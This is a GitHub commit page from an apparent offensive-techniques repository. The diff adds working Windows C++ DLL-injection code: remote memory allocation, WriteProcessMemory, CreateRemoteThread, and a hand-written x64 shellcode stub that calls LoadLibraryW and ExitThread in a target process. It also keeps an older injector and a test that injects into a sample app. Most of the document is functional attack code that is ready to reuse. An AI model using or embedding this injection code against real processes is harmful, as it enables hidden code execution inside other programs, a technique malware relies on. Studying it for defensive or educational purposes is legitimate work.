Skip to content

Commit

Permalink
added shellcode that checks whether loadlibrary was succesful, so we …
Browse files Browse the repository at this point in the history
…can have more meaningful error messages
  • Loading branch information
moccajoghurt committed Sep 4, 2018
1 parent c7224b5 commit 39aec84
Show file tree
Hide file tree
Showing 6 changed files with 100 additions and 17 deletions.
1 change: 0 additions & 1 deletion AttackServices/DLLInjectionAttack/InjectedDLL.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,6 @@ BOOL APIENTRY DllMain(HMODULE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, &StartWork, hinstDLL, 0, NULL);
// FreeLibrary(hinstDLL);
break;
case DLL_THREAD_ATTACH:
break;
Expand Down
Binary file modified AttackServices/DLLInjectionAttack/InjectedDLL.dll
Binary file not shown.
73 changes: 60 additions & 13 deletions AttackServices/DLLInjectionAttack/Injector.cpp
Original file line number Diff line number Diff line change
@@ -1,28 +1,66 @@
#include <windows.h>
#include <iostream>
#include "Injector.h"

using namespace std;

int LoadDll(HANDLE hProcess, const WCHAR* dllPath) {
int namelen = wcslen(dllPath) + 1;
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, namelen * sizeof(WCHAR), MEM_COMMIT, PAGE_EXECUTE);
int LoadDll(HANDLE hProcess, const WCHAR* dllName) {
int namelen = wcslen(dllName) + 1;
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, 4096, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteMemory == NULL) {
return 1;
}
SIZE_T ret = WriteProcessMemory(hProcess, remoteMemory, dllPath, namelen * sizeof(WCHAR), NULL);
if (ret == 0) {
return 2;
}

HMODULE k32 = GetModuleHandleA("kernel32.dll");
if (k32 == NULL) {
return 3;
}
LPVOID funcAddr = GetProcAddress(k32, "LoadLibraryW");
if (funcAddr == NULL) {

FARPROC addrLoadLibraryW = GetProcAddress(k32, "LoadLibraryW");
FARPROC addrExitThread = GetProcAddress(k32, "ExitThread");
if (addrLoadLibraryW == NULL || addrExitThread == NULL) {
return 4;
}

HANDLE thread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)funcAddr, remoteMemory, NULL, NULL);
void* rwMemory = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (rwMemory == NULL) {
cout << "VirtualAlloc returned NULL. Memory full?" << endl;
return 1;
}

BYTE loadLibraryCodeCave[] = {
0x48, 0xB9, 0, 0, 0, 0, 0, 0, 0, 0, // mov rcx (DLL name)
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // mov rax (LoadLibraryW Process Address)
0x48, 0x83, 0xEC, 0x20, // sub rsp 0x20
0xFF, 0xD0, // call rax
0x48, 0x83, 0xC4, 0x20, // add rsp, 0x20
0x48, 0x31, 0xC9, // xor rcx, rcx (Set Parameter for ExitThread to 0)
0x48, 0x83, 0xF8, 0x00, // cmp rax, 0x00 (Check if LoadLibrary return NULL)
0x74, 0x07, // je rel + 7 (Skip next instruction if LoadLibrary returned NULL)
0x48, 0xC7, 0xC1, 0x01, 0x00, 0x00, 0x00, // mov rcx, 0x1 (Set Parameter for ExitThread to 1)
0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0, // mov rax (ExitThread Process Address)
0x48, 0x83, 0xEC, 0x20, // sub rsp 0x20
0xFF, 0xD0, // call rax
};


size_t shellCodeSize = sizeof(loadLibraryCodeCave);

*(DWORD64*)((PUCHAR)loadLibraryCodeCave + 2) = (DWORD64)(ULONG_PTR)remoteMemory + shellCodeSize;
*(DWORD64*)((PUCHAR)loadLibraryCodeCave + 12) = (DWORD64)(ULONG_PTR)addrLoadLibraryW;
*(DWORD64*)((PUCHAR)loadLibraryCodeCave + 48) = (DWORD64)(ULONG_PTR)addrExitThread;


CopyMemory(rwMemory, loadLibraryCodeCave, sizeof(loadLibraryCodeCave));
CopyMemory((void*)((DWORD64)rwMemory + shellCodeSize), dllName, namelen * sizeof(WCHAR));

SIZE_T ret = WriteProcessMemory(hProcess, remoteMemory, rwMemory, 4096, NULL);
if (ret == 0) {
return 2;
}


HANDLE thread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
if (thread == NULL) {
return 5;
}
Expand All @@ -31,8 +69,17 @@ int LoadDll(HANDLE hProcess, const WCHAR* dllPath) {
if (status == WAIT_FAILED) {
return 6;
}
CloseHandle(thread);

return 0;

DWORD threadStatus;
if (GetExitCodeThread(thread, &threadStatus)) {
// cout << threadStatus << endl;
if (threadStatus == 1) {
return 0;
} else {
return 7;
}
} else {
return 8;
}
}

6 changes: 3 additions & 3 deletions AttackServices/DLLInjectionAttack/InjectorTest.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -10,11 +10,11 @@ void LoadDllTest() {
while (hProcess == NULL) {
hProcess = (HANDLE)GetProcessByName("memoryTestApp.exe");
}

if (LoadDll(hProcess, L"InjectedDLL.dll")) {
int ret = LoadDll(hProcess, L"InjectedDLLa.dll");
if (ret == 0) {
cout << "LoadDllTest() success" << endl;
} else {
cout << "LoadDllTest() failed" << endl;
cout << "LoadDllTest() failed " << ret << endl;
}

Exit:
Expand Down
Binary file modified AttackServices/DLLInjectionAttack/InjectorTest.exe
Binary file not shown.
37 changes: 37 additions & 0 deletions AttackServices/DLLInjectionAttack/Injector_old.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
#include <windows.h>
#include "Injector.h"

int LoadDll(HANDLE hProcess, const WCHAR* dllPath) {
int namelen = wcslen(dllPath) + 1;
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, namelen * sizeof(WCHAR), MEM_COMMIT, PAGE_EXECUTE);
if (remoteMemory == NULL) {
return 1;
}
SIZE_T ret = WriteProcessMemory(hProcess, remoteMemory, dllPath, namelen * sizeof(WCHAR), NULL);
if (ret == 0) {
return 2;
}

HMODULE k32 = GetModuleHandleA("kernel32.dll");
if (k32 == NULL) {
return 3;
}
LPVOID funcAddr = GetProcAddress(k32, "LoadLibraryW");
if (funcAddr == NULL) {
return 4;
}

HANDLE thread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)funcAddr, remoteMemory, NULL, NULL);
if (thread == NULL) {
return 5;
}

DWORD status = WaitForSingleObject(thread, INFINITE);
if (status == WAIT_FAILED) {
return 6;
}
CloseHandle(thread);

return 0;
}

0 comments on commit 39aec84

Please sign in to comment.